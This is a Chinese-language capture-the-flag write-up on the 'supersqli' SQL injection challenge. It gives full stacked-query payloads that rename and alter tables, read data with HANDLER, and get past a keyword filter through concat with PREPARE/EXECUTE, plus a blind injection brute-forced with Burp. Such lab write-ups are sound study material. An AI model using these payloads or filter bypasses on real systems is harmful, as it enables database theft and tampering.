SQL注入的前提:
1.判断是否有注入
1)可控参数如id=1,能否影响页面的显示结果
2)输入SQL语句的时候,是否报错,能否通过报错,看到数据库的一些语句痕迹
3)尝试输入的语句能否不报错,使得成功闭合语句
2.判断是什么类型的注入
3.语句能否被修改
4.是否能够成功执行
5.获取我们想要的数据
方法一(修改默认表)
输入1、2、3回显不同的内容
在1后添加一个单引号,发现报错
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
尝试利用#、--+将闭合的引号注释
利用order by查询出有两个字段后,使用select 1,2查询回显内容时,提示select已被过滤
当select被过滤时,马上想到是否可以利用堆查询注入
1';show databases#
由于题目名为supersqli,所以立刻锁定了这个数据库,并且尝试查询表
1';use supersqli;show tables#
两张表,查询1919810931114514表中所有内容,注:由于这里1919810931114514为字符串,需要加``进行查询
1';use supersqli;show columns from `1919810931114514`#
查询另一张为words的表,在提交参数时,回显的内容从words查询,words是默认表
1';use supersqli;show columns from words#
由于words是默认表,而需要查询的flag在1919810931114514表中,利用rename重命名1919810931114514表为words即可,这样输入的参数会自动从默认表请求,但是1919810931114514表少了一个id列,可以将flag字段改为id,设置为varcher型
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);#
我们再次查询的时候,这时候flag的表已经被设置为默认查询表,输入1' or 1=1#查询falg
方法二(handler)
介绍另一种查询数据库的方法
利用布尔盲注,burp爆破数据库名
1' and ascii(substr(database(),1,1))=115#
查询正确,数据库的第一位位于ascii表中的115号,为‘s’
从第二位开始,可利用bp进行爆破
简单介绍一下bp的用法
打开intercept is on开启抓包
抓取内容
点击send to intruder爆破
将1改为2,目的是查询数据库名字的第二个字符串
设置115为ADD
设置payloads后,即可爆破
第二位为117
最后得到数据库为supersqli
这里需要了解handler查询,它是mysql专用的语句,目的是一行一行的浏览一个表中的数据,与select类似
语法:
handler tablename open打开一张表
handler tablename read first读取句柄的第一行的内容
handler tablename read next依次获取其它行
构造payload
1';handler `1919810931114514` open;handler `1919810931114514` read first#
方法三(预编译)
查flag字段里的数据,因为可以执行多条语句,将要执行的sql语句进行拼接,这样就可以将过滤的 sql关键字拆分绕过检测,set 语句将已存在的变量进行赋值,prepare创建SQL语句,execute执行SQL语句。
构造payload,这里PREPARE大写是由于被过滤
1';use supersqli;set @sql=concat('se','lect `flag` from `1919810931114514`');PREPARE ganyu FROM @sql;EXECUTE ganyu;#